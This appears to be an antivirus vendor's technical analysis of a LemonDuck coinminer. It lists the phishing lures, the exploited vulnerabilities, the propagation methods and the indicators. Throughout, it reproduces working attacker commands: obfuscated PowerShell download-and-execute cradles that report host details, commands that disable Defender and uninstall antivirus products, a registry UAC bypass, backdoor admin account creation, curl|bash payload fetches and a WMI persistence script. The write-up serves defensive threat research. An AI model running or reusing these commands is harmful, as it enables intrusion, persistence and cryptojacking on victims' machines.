Analysis by: Arianne Grace Dela Cruz

ALIASES:

Trojan-Dropper.PowerShell.Compressed.b (KASPERSKY); Trojan.PowerShell.Crypt (IKARUS)

 PLATFORM:

Windows, Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Propagates via software vulnerabilities

This Coinminer arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It exploits software vulnerabilities to propagate to other computers across a network.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

It gathers certain information on the affected computer.

It takes advantage of certain vulnerabilities.

  TECHNICAL DETAILS

File Size: 3,845 bytes
File Type: PS1
Memory Resident: No
Initial Samples Received Date: 28 Apr 2021
Payload: Encrypts files, Collects system information, Connects to URLs/IPs, Downloads files, Drops files

Arrival Details

This Coinminer arrives as an attachment to the following email messages spammed by other malware/grayware or malicious users:

  • Where Email Subject - Message Body can be any of the following combinations:
    • The Truth of COVID-19 - Virus actually comes from United States of America
    • COVID-19 nCov Special info WHO - very important infomation for Covid-19 see attached document for your action and discretion.
    • HALTH ADVISORY:CORONA VIRUS - the outbreak of CORONA VIRUS is cause of concern especially where forign personal have recently arrived or will be arriving at various intt in near future. see attached document for your action and discretion.
    • WTF - what's wrong with you?are you out of your mind!!!!!
    • What the fcuk - are you out of your mind!!!!!what 's wrong with you?
    • good bye - good bye, keep in touch
    • farewell letter - good bye, keep in touch
    • broken file - can you help me to fix the file,i can't read it
    • This is your order? - file is brokened, i can't open it

This malware arrives via the following means:

  • This malware may arrive by taking advantage of the following vulnerabilities:
    • SMB request - Eternal Blue Exploit (CVE-2017-0144)
    • SMBGhost vulnerability
  • It may be delivered once a system has been compromised due to the ProxyLogon Vulnerability:
    • CVE-2021-26855
    • CVE-2021-26857
    • CVE-2021-26858
    • CVE-2021-27065
  • RDP Brute-Forcing
  • SSH brute-forcing
  • Pass-the-hash attack using Mimikatz
  • MS-SQL brute-forcing
  • Redis remote command
  • Yarn remote command
  • Some variants of LemonDuck arrives via certutil LoLBin command:
    • certutil -urlcache -split -f http://t.{BLOCKED}n.com/dns dn.ps1 - detected as Trojan.Win32.LEMONDUCK.THDBHBA
    • certutil -urlcache -split -f http://t.{BLOCKED}n.com/m6.exe m6.exe - detected as Coinminer.Win64.TOOLXMR.SMA
    • certutil -urlcache -split -f http://t.{BLOCKED}n.com/svchost.exe svchost.dat - detected as HackTool.Win32.NSSM.AD, used to install m6.exe as a service named "Windowsm_Update"

Installation

This Coinminer drops the following files:

  • {Removable/Network Drive name}\Dblue3.lnk
  • {Removable/Network Drive name}\Eblue3.lnk
  • {Removable/Network Drive name}\Fblue3.lnk
  • {Removable/Network Drive name}\Gblue3.lnk
  • {Removable/Network Drive name}\Hblue3.lnk
  • {Removable/Network Drive name}\Iblue3.lnk
  • {Removable/Network Drive name}\Jblue3.lnk
  • {Removable/Network Drive name}\Kblue3.lnk
  • {Removable/Network Drive name}\Dblue6.lnk
  • {Removable/Network Drive name}\Eblue6.lnk
  • {Removable/Network Drive name}\Fblue6.lnk
  • {Removable/Network Drive name}\Gblue6.lnk
  • {Removable/Network Drive name}\Hblue6.lnk
  • {Removable/Network Drive name}\Iblue6.lnk
  • {Removable/Network Drive name}\Jblue6.lnk
  • {Removable/Network Drive name}\Kblue6.lnk
  • {Removable/Network Drive name}\readme.js
  • {Removable/Network Drive name}\UTFsync\inf_data - serves as infection marker
  • Some LemonDuck variants deployed via the ProxyLogon vulnerability can drop the following files:
    • %System%\inetpub\wwwroot\aspnet_client\js\demo\wanlin.txt
    • %System%\inetpub\wwwroot\aspnet_client\js\demo\wanlins.aspx - Chopper Webshell

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It drops and executes the following files:

  • %User Temp%\tt.vbs - install scheduled task to execute kk4kk.log (detected as HackTool.Win32.Mpacket.SM)
  • %System%\WindowsPowerShell\v1.0\{Random}.exe - legitimate copy of Powershell.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It adds the following processes:

  • cmd /c start /b notepad "+{Malware file name}+" & powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('{Download URL}7p.php?0.7*mail_js*%username%*%computername%*'+[Environment]::OSVersion.version.Major);bpu ('{Download URL}mail.jsp?js_0.7')"
  • cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath c:\;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe|powershell -w hidden
  • ComputerDefaults.exe - if ran in Windows 10
  • CompMgmtLauncher.exe - if ran in other OS
  • To uninstall antivirus related programs:
    • cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
    • cmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
    • cmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
    • cmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
    • cmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
    • cmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
    • cmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
    • cmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart
  • To open ports:
    • cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd
    • netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
    • netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
    • netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block
  • cmd.exe /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='9f9075b6db0089161c96cabf65974fa3';$ifp=$env:tmp+'\kr.bin';$down_url='{Download URL}';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/kr.bin?^^^&{Computer Name}^^^&{Gathered information}^^^&{MAC Address}');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)|{Random}.exe -
  • cmd.exe /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='144f3ede7ec9d604a58113fc91a246d1';$ifp=$env:tmp+'\if.bin';$down_url='{Download URL}';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/if.bin?^^^&{Computer Name}^^^&{Gathered information}^^^&{MAC Address}');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)|{Random}.exe -
  • For 64bit machines:
    • cmd.exe /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\elocalTMn',[ref]$localKr)}catch{};$ifmd5='4001ba98a424fdb63047a23af97ec590';$ifp=$env:tmp+'\m6.bin';$down_url='{Download URL}';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/m6.bin?^^^&{Computer Name}^^^&{Gathered information}^^^&{MAC Address}');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)|{Random}.exe -
  • For 64bit machines and video card is any of the following: {GTX, NVIDIA, GEFORCE, Radeon, AMD}
    • cmd.exe /c echo try{$localTMng=$flase;New-Object Threading.Mutex($true,'Global\elocalTMng',[ref]$localKr)}catch{};$ifmd5='a921b532d5d239e4a2e71e5f853195cd';$ifp=$env:tmp+'\m6g.bin';$down_url='{Download URL}';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/m6g.bin?^^^&{Computer Name}^^^&{Gathered information}^^^&{MAC Address}');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)|{Random}.exe -
  • Some variants of LemonDuck execute the following:
    • Add users and local groups:
      • net user netcat 'qweqwe$123123' /add
      • net localgroup administrators netcat /add
      • net localgroup Administrateurs netcat /add
      • net localgroup 'Remote Desktop Users' netcat /add
      • net localgroup 'Enterprise Admins' netcat /add
      • net group 'Enterprise Admins' netcat /add /domain
      • powershell.exe -ep bypass -c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;new-managementroleassignment -role applicationimpersonation -user netcat"
      • powershell.exe -ep bypass -c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;new-managementroleassignment -role applicationimpersonation -user netcat"
      • powershell.exe -ep bypass -c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;new-managementroleassignment -role applicationimpersonation -user netcat"
    • Delete AV related firewall rules:
      • cmd /c netsh advfirewall set allprofiles state off
      • cmd /c netsh advfirewall firewall delete rule LiveUpdate360
      • cmd /c netsh advfirewall firewall delete rule 360LeakFixer.exe
      • cmd /c netsh advfirewall firewall delete rule 360bdoctor.exe
      • cmd /c netsh advfirewall firewall delete rule 360netcfg.exe
      • cmd /c netsh advfirewall firewall delete rule 360Seclogon
      • cmd /c netsh advfirewall firewall delete rule 360rp.exe
      • cmd /c netsh advfirewall firewall delete rule 360rps.exe
      • cmd /c netsh advfirewall firewall delete rule 360safe.exe
      • cmd /c netsh advfirewall firewall delete rule 360safe_cq.exe
      • cmd /c netsh advfirewall firewall delete rule 360EvtMgr.exe
      • cmd /c netsh advfirewall firewall delete rule 360se.exe
      • cmd /c netsh advfirewall firewall delete rule 360sdUpd.exe
      • cmd /c netsh advfirewall firewall delete rule 360sd.exe
      • cmd /c netsh advfirewall firewall delete rule 360speedld.exe
      • cmd /c netsh advfirewall firewall delete rule 360Tray.exe
    • Delete AV related services:
      • "Sophos System Protection Service"
      • "Sophos AutoUpdate Service"
      • "Sophos Endpoint Defense Service"
      • SAVService
      • SAVAdminService
      • SavexSrvc
      • PMContExtrSvc
      • MMRot
      • PMScanner
      • PMEVizsla
      • SavexWebAgent
      • swi_filter
      • swi_service
      • MBAMService
    • powershell.exe -psconsolefile "$env:exchangeinstallpath\bin\exshell.psc1" -command "New-ManagementRoleAssignment –Role 'Mailbox Import Export' –User netcat"
    • REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    • wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

  • Variants of LemonDuck deployed via ProxyLogon Vulnerability can create the following folders:
    • %System%\inetpub\wwwroot\aspnet_client\js\demo
    • {Exchange server installation path}\Frontend\HttpProxy\ecp\auth\js\demo

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other System Modifications

This Coinminer modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\LanmanServer\Parameters
DisableCompression = 1

HKEY_CURRENT_USER\Software\Classes\
ms-settings\shell\open\
command
DelegateExecute = {Null}

HKEY_CURRENT_USER\Software\Classes\
ms-settings\shell\open\
command
(default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath c:\;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe|powershell -w hidden & Iex(new-object net.webclient).downloadstring('"+{Download URL}+"?$env:username*$env:computername*$ver')

HKEY_CURRENT_USER\Software\Classes\
mscfile\shell\open\
command
DelegateExecute = {Null}

HKEY_CURRENT_USER\Software\Classes\
mscfile\shell\open\
command
(default) = cmd /c powershell -w hidden Iex(new-object net.webclient).downloadstring('"+{Download URL}+"?$env:username*$env:computername*$ver')

Propagation

This Coinminer exploits the following software vulnerabilities to propagate to other computers across a network:

  • SMB request - Eternal Blue Exploit (CVE-2017-0144)
    • Upon exploitation, it may perform the following:
      • Execute the following command: cmd /c schtasks /create /ru system /sc MINUTE /mo 120 /tn Rtsa /tr "powershell -c '\\"{Download URL 1}\\",\\"{Download URL 2}\\",\\"{Download URL 2}\\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\\"DownloadString\\"(\\"http://$_/ebo.jsp?0.9*$env:username*$env:computername\\")}'" /F & echo %path%|findstr /i powershell>nul || (setx path "%path%;c:\windows\system32\WindowsPowershell\v1.0" /m) & schtasks /run /tn Rtsa
      • Install the following scheduled task:

      • Task Name: Rtsa
        Task Action: \"{Download URL 1}\",\"{Download URL 2}\",\"{Download URL 2}\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\"DownloadString\"(\"http://$_/ebo.jsp?0.9*$env:username*$env:computername\")}"
  • SMBGhost vulnerability
    • Upon exploitation, it executes the following command:
      • cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionProcess c:/windows/system32/WindowsPowerShell/v1.0/powershell.exe;Add-MpPreference -ExclusionPath c:/ & powershell IEx(New-Object Net.WebClient).DownLoadString(''{Download URL}/smgh.jsp?0.9*%computername%'')
      • cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionProcess c:/windows/system32/WindowsPowerShell/v1.0/powershell.exe;Add-MpPreference -ExclusionPath c:/ & powershell IEx(New-Object Net.WebClient).DownLoadString(''{Download URL}/smgho.jsp?0.9*%computername%'')
  • RDP Brute-Forcing
  • SSH brute-forcing
    • Upon exploitation, it may execute the following:
      • %System%\cmd.exe /c echo y|{Executable Path} {Username}@{IP Address} -pw {Password} -v "src=ssh;(curl -fsSL {Download URL}/ln/core.png?0.9*ssh*`whoami`*`hostname`||wget -q -O- {Download URL}/ln/core.png?0.9*ssh*`whoami`*`hostname`)|bash"
      • %System%\cmd.exe /c echo y|{Executable Path} {Username}@{IP Address} -pw {Password} -v "src=ssho;(curl -fsSL {Download URL}/ln/core.png?0.9*ssho*`whoami`*`hostname`||wget -q -O- {Download URL}/ln/core.png?0.9*ssho*`whoami`*`hostname`)|bash"
  • Pass-the-hash Attack
    • Uses PowerDump module and Mimikatz to dump Username, password, NTLM hashes, and domain information of the target machine.
  • MS-SQL brute-forcing
    • Upon successful brute-forcing, it will add a malware detected as HackTool.Win32.EvilCLR.YXBCIA to the database server to enable the execution of the following: "powershell.exe iex(new-object net.webclient).downloadstring('{Download URL}/if.bin?once')"
    • It scans for vulnerable MS-SQL port 1433. Upon exploitation, it will execute the following commands:
      • cmd /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString(''{Download URL}/ms.jsp?0.9*%computername%'')
      • cmd /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString(''{Download URL}/mso.jsp?0.9*%computername%'')
  • Redis remote command
    • Upon scanning for vulnerable port 6379, 16379, it may perform the following command:
      • export src=rds;curl -fsSL {Download URL}/ln/core.png?rds|bash
      • export src=rdso;curl -fsSL {Download URL}/ln/core.png?rdso|bash
  • Yarn remote command
    • Upon scanning for vulnerable port 8088, it may perform the following command:
      • export src=yarn;curl -fsSL {Download URL}/ln/core.png?yarn|bash
      • export src=yarno;curl -fsSL {Download URL}/ln/core.png?yarno|bash
  • Logic Port Scan
    • Upon scanning for vulnerable port 7001, it may perform the following command:
      • cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe;Add-MpPreference -ExclusionPath c:\ & powershell IEx(New-Object Net.WebClient).DownLoadString(''{Download URL}/logic.jsp?0.9*%computername%'')
      • export src=logic;curl -fsSL {Download URL}/ln/core.png?logic|bash
      • cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe;Add-MpPreference -ExclusionPath c:\ & powershell IEx(New-Object Net.WebClient).DownLoadString(''{Download URL}/logico.jsp?0.9*%computername%'')
      • export src=logico;curl -fsSL {Download URL}/ln/core.png?logico|bash
  • Vulnerable networks in port 445
    • Upon exploiting vulnerable networks connecting to port 445, it does the following:
      • Execute the following:
        • cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath c:\;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe & powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString(''{Download URL}/7p.php?0.9*ipc*%username%*%computername%*''+[Environment]::OSVersion.version.Major);bpu (''{Download URL}/ipc.jsp?0.9'')
        • cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath c:\;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe & powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString(''{Download URL}/7p.php?0.9*ipco*%username%*%computername%*''+[Environment]::OSVersion.version.Major);bpu (''{Download URL}/ipco.jsp?0.9'')
      • Drop the following file:
        • \{IP address}\%User Startup%\run.bat - download LemonDuck module

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Process Termination

This Coinminer terminates the following services if found on the affected system:

  • .Net CLR
  • \gm
  • 360rTys
  • ALGM
  • aspnet_staters
  • AxInstSV
  • ClipBooks
  • CLR
  • clr_optimization
  • DNS Server
  • ExpressVNService
  • IPSECS
  • lsass
  • Microsoft
  • Microsoft Telemetry
  • MpeSvc
  • mssecsvc2.0
  • mssecsvc2.1
  • Natimmonal
  • Nationaaal
  • National
  • Nationalaie
  • Nationalmll
  • Nationaloll
  • Nationalwpi
  • NetMsmqActiv Media NVIDIA
  • Oracleupdate
  • RpcEptManger
  • Samserver
  • Serhiez
  • Sncryption Media Playeq
  • Sougoudl
  • SRDSL
  • SuperProServer
  • SvcNlauser
  • SVSHost
  • SxS
  • sysmgt
  • system
  • taskmgr1
  • WebServers
  • WifiService
  • Windows Managers
  • Windows_Update
  • WinHasdadelp32
  • WinHasdelp32
  • WinHelp32
  • WinHelp64
  • WinHelpSvcs
  • WinSvc
  • WinVaultSvc
  • WissssssnHelp32
  • WmdnPnSN
  • wmiApServs
  • wmiApSrvs
  • WWW.{BLOCKED}S.CN.COM
  • Xtfy
  • Xtfya
  • Xtfyxxx
  • xWinWpdSrv
  • Zational

It terminates processes or services that contain any of the following strings if found running in the affected system's memory:

  • 360
  • 8866
  • 9696
  • 9797
  • 9966
  • auto-upgeade
  • Avira
  • Calligrap
  • cara
  • Carbon
  • carss
  • cohernece
  • conhoste
  • csrsc
  • DW20
  • explores
  • Galligrp
  • gxdrv
  • Imaging
  • javaupd
  • lsmosee
  • minerd
  • MinerGate
  • msinfo
  • ress
  • SC
  • SearchIndex
  • secuams
  • service
  • Setring
  • Setting
  • Sqlceqp
  • SQLEXPRESS_X64_86
  • SQLforwin
  • svchosti
  • svshost
  • SystemIIS
  • SystemIISSec
  • taskegr
  • taskmgr1
  • Terms.EXE
  • Uninsta
  • update
  • upgeade
  • WerFault
  • WerMgr
  • win
  • WindowsDefender*
  • WindowsUpdater*
  • Workstation
  • xig*
  • XMR*
  • xmrig*
  • yamm1
  • 360bdoctor.exe
  • 360rp.exe
  • 360rps.exe
  • 360safe_cq.exe
  • 360safe_se.exe
  • 360sd.exe
  • 360speedld.exe
  • 360Tray.exe
  • 360LogCenter.exe
  • 360tray.exe
  • 360speedld.exe
  • 360se.exe

Dropping Routine

This Coinminer takes advantage of the following software vulnerabilities to drop malicious files:

  • Windows LNK Remote Code Execution Vulnerability (CVE-2017-8464) - Dropped in removable drives to allow execution of remote commands.

Download Routine

This Coinminer connects to the following URL(s) to download its component file(s):

  • {Download URL}\m6.bin
  • {Download URL}\m6g.bin
  • {Download URL}\kr.bin
  • {Download URL}\if.bin
  • {Download URL}\if_mail.bin
  • {Download URL}\ode.bin
  • {Download URL}\nvd.zip
  • {Download URL}\20.dat - saved as %User Temp%\kk4kk.log
  • {Download URL}\mso.jsp
  • {Download URL}\ms.jsp
  • {Download URL}\rdp.jsp
  • {Download URL}\rdpo.jsp
  • {Download URL}\smgh.jsp
  • {Download URL}\smgho.jsp
  • {Download URL}\logic.jsp
  • {Download URL}\logico.jsp
  • {Download URL}\report.jsp - install scheduled tasks and WMI
  • {Download URL}\mm.bin - Mimikatz module
  • {Download URL}\core.png - Linux bash file for downloading related modules
  • {Download URL}\a.asp - Linux bash file for killing competitions

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It saves the files it downloads using the following names:

  • %User Temp%\m6.bin - Modified XMRig for 64bit Machines
  • %User Temp%\m6g.bin - Coinminer for 64bit Machines and video card name has the one of the following strings:"GTX","NVIDIA","GEFORCE","Radeon","AMD"
  • %User Temp%\kr.bin - Kill Competitions Module
  • %User Temp%\if.bin - Propagation and Exploitation Module
  • %User Temp%\if_mail.bin - Email Spreader Module
  • %User Temp%\ode.bin - Downloads PowerSploit module and create scheduled task
  • %User Temp%\nvd.zip - Coinminer for 64bit Machines and video card name has the one of the following strings:"GTX","NVIDIA","GEFORCE","Radeon","AMD"
  • %User Temp%\mimi.dat - Mimikatz module
  • Modules for Process Termination, Task and WMI installation:
    • %User Temp%\mso.jsp
    • %User Temp%\ms.jsp
    • %User Temp%\rdp.jsp
    • %User Temp%\rdpo.jsp
    • %User Temp%\smgh.jsp
    • %User Temp%\smgho.jsp
    • %User Temp%\logic.jsp
    • %User Temp%\logico.jsp

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Information Theft

This Coinminer gathers the following information on the affected computer:

  • Machine Type (32bit or 64bit)
  • Computer Name
  • Product UUID
  • Mac Address
  • Operating system
  • User name
  • Machine Domain
  • System uptime
  • Video Controller name
  • Physical memory
  • Drive information:
    • Drive Type
    • Free space
    • Drive format
  • Time stamp
  • JavaScript information on localhost
  • Host Name
  • Coinminer version - if a coinminer is present
  • Ip address - if a coinminer is present
  • Total hashrate - if a coinminer is present
  • First 6 bytes of md5 hashes of malicious files

Other Details

This Coinminer does the following:

  • It adds the following Windows Management Instrumentation (WMI) entries under ROOT\subscription:
    • Infection Marker:
      • __EventFilter
        • Name: blackball
    • Persistence:
      • __EventFilter
        • Name: {Random}
      • CommandLineEventConsumer
        • Name: {Random}
        • Command: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('{Base64 encoded command}');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='{Download URL}';a($url+'/a.jsp?mail_20210428?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
      • __FilterToConsumerBinding
  • It disables Windows Defender Real Time Monitoring. It excludes Powershell.exe running in C:\ directory in Windows Defender scans.
  • It will only modify "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command" if the OS is Windows 10. Otherwise, the registry "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" will be modified.
  • It deletes the following scheduled tasks:
    • /Rtsa
    • /Rtsa1
    • /Rtsa2
    • AdobeFlashPlayer
    • Bluetooths
    • Credentials
    • Ddrivers
    • DNS
    • DnsCore
    • DnsCore
    • DnsScan
    • ECDnsCore
    • Flash
    • FlashPlayer1
    • FlashPlayer2
    • FlashPlayer3
    • gm
    • GooglePingConfigs
    • HispDemorn
    • HomeGroupProvider
    • IIS
    • LimeRAT-Admin
    • Microsoft Telemetry
    • Miscfost
    • MiscfostNsi
    • my1
    • Mysa
    • Mysa1
    • Mysa2
    • Mysa3
    • Netframework
    • ngm
    • ok
    • Oracle Java
    • Oracle Java Update
    • Oracle Products Reporter
    • RavTask
    • skycmd
    • Sorry
    • Spooler SubSystem Service
    • System Log Security Check
    • SYSTEM"qPt,"DNS2
    • SYSTEMa
    • TablteInputout
    • Update
    • Update qPtservice for Windows Service
    • Update service for products
    • Update_windows
    • Update1
    • Update2
    • Update3
    • Update4
    • WebServers
    • werclpsyport
    • Windows_Update
    • WindowsLogTasks
    • WindowsUpdate1
    • WindowsUpdate2
    • WindowsUpdate3
    • WwANsvc
  • It check the presence of Outlook and Outlook\Security in the following registry keys:
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office
    • HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office

    If present, it will modify the registry entry:
    {Registry Key from list above}
    ObjectModelGuard = 2
  • It uses any of the following {Download URL} to send gathered information, as well as download related modules:
    • http://t.{BLOCKED}9.com
    • http://t.{BLOCKED}g.com
    • http://t.{BLOCKED}9.com
    • http://t.{BLOCKED}x.com
    • http://t.{BLOCKED}q.com
    • http://d.{BLOCKED}p.com
    • http://t.{BLOCKED}1.com
    • http://t.{BLOCKED}0.com
    • http://down.{BLOCKED}cat.com
    • http://t.{BLOCKED}kit.com
    • http://t.{BLOCKED}kit.com
    • http://d.{BLOCKED}g.com
    • http://p.{BLOCKED}q.com
    • http://lplp.{BLOCKED}g.com
    • http://w.{BLOCKED}0.com
    • http://info.{BLOCKED}x.com
    • http://info.{BLOCKED}g.com
    • http://info.{BLOCKED}0.com
    • http://t.{BLOCKED}q.top
    • http://p.{BLOCKED}a.com
    • http://t.{BLOCKED}2.com
    • http://t.{BLOCKED}q.com
    • http://ps2.{BLOCKED}ihua
    • http://t.{BLOCKED}n.com
    • http://t.{BLOCKED}r.cc
    • http://t.{BLOCKED}0.sh
    • http://t.{BLOCKED}cat.co
    • http://d.{BLOCKED}8.ag
    • {BLOCKED}.{BLOCKED}.154.202
    • {BLOCKED}.{BLOCKED}.7.85
    • {BLOCKED}.{BLOCKED}.43.37
    • {BLOCKED}.{BLOCKED}.225.82
    • {BLOCKED}.{BLOCKED}.107.193
    • {BLOCKED}.{BLOCKED}.80.221
    • {BLOCKED}.{BLOCKED}.183.160
    • {BLOCKED}.{BLOCKED}.188.255
    • {BLOCKED}.{BLOCKED}.158.207
  • It sets the machine's DNS server to Google (8.8.8.8 or 9.9.9.9)
  • It uses the following credentials for brute-forcing:
    • Username:
      • administrator
      • admin
    • Passwords:
      • !@#$%^&*
      • 000000
      • 1
      • 1111
